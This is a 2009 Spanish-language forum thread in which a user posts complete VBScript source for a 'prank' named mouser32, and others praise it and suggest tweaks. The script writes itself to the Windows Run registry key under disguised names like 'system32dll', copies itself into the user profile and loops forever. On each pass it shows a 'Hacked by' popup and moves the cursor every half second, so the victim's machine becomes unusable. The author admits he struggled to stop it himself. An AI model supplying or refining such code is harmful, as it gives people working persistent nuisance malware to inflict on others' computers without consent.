Título: [BromaVBS] mouser32 - by xassiz!
Publicado por: xassiz_ en 15 Septiembre 2009, 22:00 pm
Bueno, gracias a NovLucker llegué a hacer una broma en vbs (que la probé con un amigo y realmente funciona XD XD XD).. aprendí bastante al hacer esto ;D -Se agrega al Run para iniciarse con el pc -Se autocopia -Agrega tambien al Run la copia por si se borra el original -Muestra un popup con un mensaje -Mueve el mouse cada medio segundo para diferentes sitios, de manera que no lo puedes utilizar xD -Comienza un bucle infinito, vuelve a mostrar el popup, vuelve a mover el mouse, etc. etc. etc. :laugh: 'Mouser32 - by xassiz ''broma sobre el mouse
set registro = createobject("wscript.shell") registro.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32dll",wscript.scriptfullname,"REG_SZ" set autocopia = createobject("scripting.filesystemobject") set varentorno = createobject("wscript.shell") userprofile = varentorno.expandenvironmentstrings("%userprofile%") autocopia.copyfile wscript.scriptfullname, userprofile & "\mouser32.vbs", true set registro2 = createobject("wscript.shell") registro2.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32exe,"wscript.scriptfullname,"REG_SZ" do Set hacked=createobject("Wscript.shell") set broma=CreateObject("Excel.Application") mensaje=hacked.popup("Welcome to the hell.. the mouser32!!",1,"Hacked by xassiz!",16) mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""850"", ""1000"")") set broma=Nothing loop
Espero correcciones, criticas y mejoras :rolleyes: ;D Graciaaas! ::)
Título: Re: [BromaVBS] mouser32 - by xassiz!
Publicado por: peib0l en 20 Septiembre 2009, 09:27 am
jaja bonita la broma :xD pero una cosa tu le estas dando las coordenadas a donde se tene que mover el raton, no seria mejor que fuera aleatorio? de esa forma te ahorrarias buen trozo de codigo
Título: Re: [BromaVBS] mouser32 - by xassiz!
Publicado por: 0x5d en 21 Septiembre 2009, 04:43 am
Lindo code, funciona bien ;)
Saludos.
Título: Re: [BromaVBS] mouser32 - by xassiz!
Publicado por: xassiz_ en 21 Septiembre 2009, 19:16 pm
jaja bonita la broma :xD pero una cosa tu le estas dando las coordenadas a donde se tene que mover el raton, no seria mejor que fuera aleatorio? de esa forma te ahorrarias buen trozo de codigo
A mi me da igual, yo probe el code y sudé para pararlo xDD
|